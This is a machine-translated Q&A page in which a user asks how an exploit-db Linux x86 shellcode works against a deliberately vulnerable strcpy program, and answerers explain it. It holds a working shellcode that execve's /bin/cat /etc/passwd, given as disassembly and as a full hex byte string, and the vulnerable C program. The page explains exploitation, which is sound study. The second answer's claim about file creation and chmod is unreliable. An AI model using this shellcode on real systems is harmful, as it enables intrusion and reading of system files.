web-dev-qa-db-ja.com

Linuxのこの複雑なシェルコードの背後にあるものは何ですか?

バッファオーバーフローの悪用を試すのは、ほとんど初めてです。バッファオーバーフローに対して脆弱な簡単なCプログラムを作成しました。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    char* filename = getenv("filename");
    char buff[128];

    strcpy(buff, filename);
}

Ubuntu Server 10.04(i386)でこのようにコンパイルしました

gcc vuln.c -o vuln -z execstack -fno-stack-protector

リターンアドレスを上書きするためにファイル名に必要なバイト数を確認した後、さまざまなタイプのシェルコードを挿入しようとしました(そのため、NOPスライド+シェルコード+アドレスを渡して、NOPスライドがファイル名環境変数を通過するようにします)。何らかの理由で、execve bin/shの一般的なバリエーションにより、独自のコード内でセグメンテーション違反が発生しましたが、奇妙な特定のシェルコードの1つが実際に機能しました。

から取得https://www.exploit-db.com/exploits/38116/ execveに/ etc /で/ bin/catを実行するように要求しますパスワード

Disassembly of section .text:
08048060 <.text>:
 8048060:   eb 1f                   jmp    0x8048081
 8048062:   5b                      pop    %ebx
 8048063:   31 c0                   xor    %eax,%eax
 8048065:   88 43 0b                mov    %al,0xb(%ebx)
 8048068:   88 43 18                mov    %al,0x18(%ebx)
 804806b:   89 5b 19                mov    %ebx,0x19(%ebx)
 804806e:   8d 4b 0c                lea    0xc(%ebx),%ecx
 8048071:   89 4b 1d                mov    %ecx,0x1d(%ebx)
 8048074:   89 43 21                mov    %eax,0x21(%ebx)
 8048077:   b0 0b                   mov    $0xb,%al
 8048079:   8d 4b 19                lea    0x19(%ebx),%ecx
 804807c:   8d 53 21                lea    0x21(%ebx),%edx
 804807f:   cd 80                   int    $0x80
 8048081:   e8 dc ff ff ff          call   0x8048062
 8048086:   2f                      das    
 8048087:   2f                      das    
 8048088:   2f                      das    
 8048089:   2f                      das    
 804808a:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804808d:   2f                      das    
 804808e:   63 61 74                arpl   %sp,0x74(%ecx)
 8048091:   23 2f                   and    (%edi),%ebp
 8048093:   2f                      das    
 8048094:   65 74 63                gs je  0x80480fa
 8048097:   2f                      das    
 8048098:   70 61                   jo     0x80480fb
 804809a:   73 73                   jae    0x804810f
 804809c:   77 64                   ja     0x8048102
 804809e:   23 41 4a                and    0x4a(%ecx),%eax
 80480a1:   49                      dec    %ecx
 80480a2:   54                      Push   %esp
 80480a3:   48                      dec    %eax
 80480a4:   41                      inc    %ecx
 80480a5:   4a                      dec    %edx
 80480a6:   49                      dec    %ecx
 80480a7:   54                      Push   %esp
 80480a8:   48                      dec    %eax
 80480a9:   4b                      dec    %ebx
 80480aa:   50                      Push   %eax

さて、ここに表示されるのはobjdump出力であり、私が見つけられなかった実際の元のアセンブリではありません。/bin/catおよび/ etc/passwd文字列は、これらすべての「2F」オペコードの後に​​あるようです。このオペコードを簡単に読むと、

Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.

しかし、それが何を意味するのか、またはこれがシェルコードにどのように寄与するのかはわかりません。誰かがそれを説明しようとすることができますか?

  • さらに、このシェルコードを少しだけ調整したかったので、/ home/kfir/helloworldなど、/ etc/passwd以外の別のファイルパスで/ bin/catを呼び出しますが、/ homeでカットされます/ kfir /-/ etc/passwdと同じ長さ(11文字)
4
Kfirprods

以前に絶対アドレスに依存するシェルコードを試したことがある場合は、クラッシュの原因となっている可能性があります。このシェルコードは、callを使用して絶対スタックポインターアドレスを取得し、他のスタックを変更せずにバッファーをインプレースで変更するため、存続します。

完全に理解するために、何が起こっているかを確認することは例示的なものになるかもしれません、linearly

8048060:    eb 1f                   jmp    0x8048081

短い相対ジャンプ( eb )を前方に実行します(命令の実行後の現在の命令ポインタは0x8048081 + 2です。それに0x1fを追加すると、0x8048081次の命令として)。

8048081:    e8 dc ff ff ff          call   0x8048062

e8 )を0x8048081 + 5の次の命令に対して-36(0xffffffdcの符号付き整数)のオフセットで呼び出し、0x8048062callは、次の命令(0x8048086)をスタック上の戻りアドレスとしてプッシュすることに注意してください。

8048062:    5b                      pop    %ebx
8048063:    31 c0                   xor    %eax,%eax

スタックから戻りアドレスを削除し、ebxレジスタに0x8048086を格納します。次に、eaxレジスタをゼロに設定します。次に、戻りアドレスに続くデータの16進ダンプを見てみましょう。

00000000: 2f2f 2f2f 6269 6e2f 6361 7423 2f2f 6574  ////bin/cat#//et
00000010: 632f 7061 7373 7764 2341 4a49 5448 414a  c/passwd#AJITHAJ
00000020: 4954 484b 50                             ITHKP

明らかに、これらは指示ではありませんが、逆アセンブラーはそれを知りませんでした。

8048065:    88 43 0b                mov    %al,0xb(%ebx)

alは8ビットのl0を含むeaxレジスタの後半なので、この命令は上記のデータの11番目の位置を上書きし、#を置き換えますNULバイト(////bin/catの後)。

NULバイトをデータに直接エンコードしないのはなぜですか?まあ、バッファは最初のNULバイトまでコピーされることが多いので、シェルコードにNULバイトが含まれていると、完全にコピーされません。ダミー値をエンコードして後で上書きすることにより、この制限が回避されます。

8048068:    88 43 18                mov    %al,0x18(%ebx)

同様に、これは2行目の#をゼロに設定します(//etc/passwdの後)。

804806b:    89 5b 19                mov    %ebx,0x19(%ebx)

これにより、上記のデータ(オフセット0x19)のAJITが(////bin/catで始まる)バッファーのアドレスで上書きされます。 ebxは32ビットのレジスタなので、実際には4バイトを上書きすることに注意してください。

804806e:    8d 4b 0c                lea    0xc(%ebx),%ecx
8048071:    89 4b 1d                mov    %ecx,0x1d(%ebx)

これにより、//etc/passwd(オフセット0xc)のアドレスがecxレジスタに読み込まれ、HAJI(オフセット0x1d)がこの値で上書きされます。

8048074:    89 43 21                mov    %eax,0x21(%ebx)

THKP(オフセット0x21)を4つのゼロバイトで上書きします。

ここで、引数(ebpレジスターが指す)が32ビットアドレス0xffff0000にあると仮定します。上記のスタックの変更により、データは次のようになります。

00000000: 2f2f 2f2f 6269 6e2f 6361 7400 2f2f 6574  ////bin/cat.//et
00000010: 632f 7061 7373 7764 0000 00ff ff0c 00ff  c/passwd........
00000020: ff00 0000 00                             .....

または、絶対メモリアドレスを使用して、より読みやすい形式で記述します。

  • 0xffff0000:"////bin/cat"
  • 0xffff000c:"//etc/passwd"
  • 0xffff0019:0xffff0000( リトルエンディアン でエンコードされた最初の文字列のアドレス)
  • 0xffff001d:0xffff000c(2番目の文字列のアドレス)
  • 0xffff0021:0x00000000(NULLポインター)

execve システムコール( sys_execve(char *filename, char **argv, char **envp) )の引数のようです。 x86アーキテクチャの場合、 パラメータが渡されます レジスタebx、ecx、edxを介して、システムコール番号がeaxレジスタを介して渡されます。したがって、最初の引数(ebx)は////bin/cat文字列(0xffff0000)を指します。

8048077:    b0 0b                   mov    $0xb,%al

Syscall番号を11に設定します( x86の場合はsys_execve )。

8048079:    8d 4b 19                lea    0x19(%ebx),%ecx

2番目の引数を引数リストのアドレス(0xffff0019)に設定します。この例では、2つの文字列とNULLポインターが含まれています。 (////bin/cat//etc/passwd、NULL)。

804807c:    8d 53 21                lea    0x21(%ebx),%edx

3番目の引数を環境変数のアドレス(0xffff0021)に設定します。この例では、NULLターミネーターのみが含まれています。

804807f:    cd 80                   int    $0x80

そして最後に、syscallを呼び出します。事実上、このコードはこのCスニペットと同じでした:

char *argv[] = {
    "////bin/cat",
    "//etc/passwd",
    NULL
};
char *envp[] = {
    NULL
};
execve(argv[0], argv, envp);
4
Lekensteyn

あなたが投稿したアセンブリは、あなたが言ったようにシェルコードではなく、むしろシェルスクリプトの解凍と実行です。

実行されているシェルコードは\xeb\x1f\x5b\x31\xc0\x88\x43\x0b\x88\x43\x18\x89\x5b\x19\x8d\x4b\x0c\x89\x4b\x1d\x89\x43\x21\xb0\x0b\x8d\x4b\x19\x8d\x53\x21\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x63\x61\x74\x23\x2f\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x41\x4a\x49\x54\x48\x41\x4a\x49\x54\x48\x4b\x50

このシェルコードは単に/bin/cat /etc/passwdコマンドを実行してajithという名前のファイルを作成し、chmodを7775に

Exploit-DBページに存在するコードに基づいて、ビットの「オフセット」があるかのように表示されず、特定のメモリ位置にプッシュしようとせずに、シェルコードをそのまま実行します。 Cコードには「バッファ」オフセットがないようで、コードに基づいて、バッファは128バイトのように見えます。あなたのエクスプロイトコードがバッファオーバーフローの脆弱性を悪用していないことを私が知ることができるように、75ビットのシェルコードと128バイトのバッファがあるので、実行することができます。

単純なバッファーオーバーフローの例では、ESPレジスター(この例では128 Aとします))に到達するためにダミー文字の束を投げ、シェルコードを実行します。アプリケーションをファジングし、それに応じてエクスプロイトを調整するために必要なオフセットの正しい位置。

独自のシェルコードを生成することに関して、私は MSFVenom を見ることをお勧めします。これにより、シェルコードを簡単に調整して、希望する正確なコマンドを実行し、可能な限り短いコード長で作成することができます。

1
DKNUCKLES